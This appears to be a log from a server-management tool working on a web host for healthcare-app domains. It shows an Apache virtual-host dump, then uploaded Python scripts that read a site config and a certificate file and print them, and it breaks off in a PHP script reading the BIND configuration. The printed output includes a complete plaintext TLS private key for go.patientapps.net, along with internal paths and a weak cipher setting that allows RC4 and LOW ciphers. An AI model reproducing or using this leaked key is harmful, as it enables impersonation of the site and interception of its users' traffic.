         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
     AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
    port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:01:21: 

PUT: /tmp/pkp270456

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:01:21: 

chmod 755 /tmp/pkp270456; /tmp/pkp270456; rm /tmp/pkp270456

2026-02-18 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf	1491
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>







2026-02-18 06:01:21: 

PUT: /tmp/pkp292306

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:01:21: 

chmod 755 /tmp/pkp292306; /tmp/pkp292306; rm /tmp/pkp292306

2026-02-18 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt	5349
12:43:7d:36:44:06:31:e6:08:55:6a:17:ee:44:5d:ec

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBfbT0HChI/TXHXZWhtSt0FaiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE4MDUwMjQ4WhcNMjYwNTE5MDUwMjQ3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCHtPF6ppEyKuPxcVHrepT9+OcOZuddWUPBpGNroQOt9Tn//nd7QsdkICNy
GCBP7Yi119Qua5EJCpTK0shzudqi8ixdX1VJ/Is4fHMv14WowSJyKNABbpBtkKpJ
HaVYC2DNtkOBlXno5uzqz6rNdsftoWz5bb8+bShNwyGgbJ2IB51KXQW/SHb4LWy8
eU9Cp+oq7uih+H7GiVuml+afrFkFk9SZVhWSg/cIUecR+wAK19p7zehPy/HnxclI
LycEhaf0zb2FnVFB+rHQxkktCiwatZjCA2Yy1/VBqYJ/CWabZhgtN1NtKfS18GQV
tzkXfoaozzEl5V1rNXmYzcAmzOQDAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
YcEBkfbb3v7vCmu9r3nMtIMSfWUwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzAdBgNVHREEFjAUghJnby5wYXRpZW50YXBwcy5uZXQwEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxl
bmNyLm9yZy8zNS5jcmwwggEKBgorBgEEAdZ5AgQCBIH7BIH4APYAdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZxvVrM+AAAEAwBGMEQCIANCPY/h
t28kEkE8tX+zFAnj8mDBYy7FJP65Swb4Di6sAiACOz6/3TurPHR44C2t8B1HmCs1
W9ac8aV4tXXkkgyhBQB9ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayj
AAABnG9WtnwACAAABQBKAEGnBAMARjBEAiAkm7GBcRsv+tqsLnB+I51wchcLYsO2
UjNz1cLYhnXUVwIgc3s8qeuZwdbTkOsfSPI/ijhW+jk1Jw+K9XnF46sEo04wDQYJ
KoZIhvcNAQELBQADggEBAGXJMgJEUWb3/uGGSbYJyJuf4R/nVD0PRV77L7DXDtvW
XxLOpO+zyQn+1wWBvREVIUpQuVOGYHymQ8hyHkWvDKJ9zonQnaVsJIKLWPwVlacZ
ZyitnmpiHE5ze3nbAjPWBjCTX1hjNoGDS+FbbCDZN04xxyXAQyjxkjabHQRV+P0I
VYRjjD3/X9znfkpophqDQMvdktMIp5Y4cpXfEjOZFmSEnn6Olr+JrfMz62mmEKfu
udQK7LmOEWEQs32ouIJBJWZiql57uFYBaSPk3PHmeXiDCWPestOxjQhoz7pw1sdv
4wBYir/URYn8XTH3YaVpfS/hM7Wl80a/qVCyVzQ9N1s=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCHtPF6ppEyKuPx
cVHrepT9+OcOZuddWUPBpGNroQOt9Tn//nd7QsdkICNyGCBP7Yi119Qua5EJCpTK
0shzudqi8ixdX1VJ/Is4fHMv14WowSJyKNABbpBtkKpJHaVYC2DNtkOBlXno5uzq
z6rNdsftoWz5bb8+bShNwyGgbJ2IB51KXQW/SHb4LWy8eU9Cp+oq7uih+H7GiVum
l+afrFkFk9SZVhWSg/cIUecR+wAK19p7zehPy/HnxclILycEhaf0zb2FnVFB+rHQ
xkktCiwatZjCA2Yy1/VBqYJ/CWabZhgtN1NtKfS18GQVtzkXfoaozzEl5V1rNXmY
zcAmzOQDAgMBAAECggEAII+BKxEBIHzbAUjTw4C/c+p/Idz94U90KueS9TWGaPxA
RNRc/aWpqrPtXUg9pH/VP/A/mD216GnyBnIpp16t/0/E5khj8eMW0mBF0PJQvwtM
BQEW22kYXTmLKgzjaasdOG5lZxeizwdtS++0xySbVsBXIce7zbIqK/JIRLIa4BK+
La7RpAbVvjq96rbdwviJVKSEeumlQkUIkOTRdTAVKzLsmX248x9YhRWdirlIhinD
g38EwxhqM18pPPXzcCnNIFVpfdJVNJu6prMR/efp/IbXK1oiHD4e2pkyXCqaCxBU
97xReAioQsoF+KkKD2NqKCepexD2sk5tsB7rpVmLGQKBgQC9a3ktxrHSytsZWSoj
XK9t1uiT1+2f9mAOS/cHJ4Xii5WN4pd5bywCG9TpbFQLWlTr2+dvdWRHEeov8Nb1
Cl1qZaNUysA7L7s8AZ3tOlxE+nT12shswJxcsobSLzNcMlofyPWN9t0KVuzsVCA/
FU02EuDGlgttUlhFwcsz/nmQGwKBgQC3aDkGch0Dxilamc+qEtFusMa2va8Dk1M8
HUUN5pZRsddm7xoQzBnDeTJomFy0kf9X8BSS4i8e9VJg4x2+Cwk2rbkkPjEViPT7
SvMcesB200QA0Cwo8B3d0fk7Rlp6S1ASBAkYn9qbRigxJTu6270pfMG5fDfYvypj
Oyotd3xKOQKBgQCFt+4m06LLFSuQ/HIT3qV1XAZ6ADAfAbWTwirUYSFR6YodTL30
GvgtUOqAElpOXWmfy3DZLT0qMsppJ5MID1Yc+z1PaYZFAhAib13Gj7F9fHW+7cEZ
jOuVQO6OSIXwaxdWYu5+Vqx6VR0SRN0yy13jc3Y8msXcWgo4zHMf9GBqywKBgD1m
UtDpmvUMfgOqwm65ZguceqnqzpBv3cmeMuP4chJfazE2ko9VBLr/8/Q4LbD1v3n9
EaYquoOutSliXy6kGy2G8xhDCcOf2gPWj5TVM2GUUIvFJUN/P0Bnbvx9DQUr+V5O
o4zu1wxsbEAnqttffPBKp8Ak6b1SIiqeP/yAp8dhAoGBAIHF7vLVL/wxPp8Xllur
0VRUZXispT8+5Se50g1RWXh2g0ntqs4VMDCOqdn6uRDo8YI2zPz/Wrm6XIN+LxTb
bvqC7222iiUnmFzDAPsmeHfU16Yp0gvyVVWoZEiHesbwD+11Dlhy7CtdkoLVgMPf
MyXtH//9WWd68DxDnEOYpDPA
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-18 14:08:33: Establishing a connection
2026-02-18 14:08:39: Establishing a connection
2026-02-18 14:08:39: 

PUT: /tmp/pkp639469

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

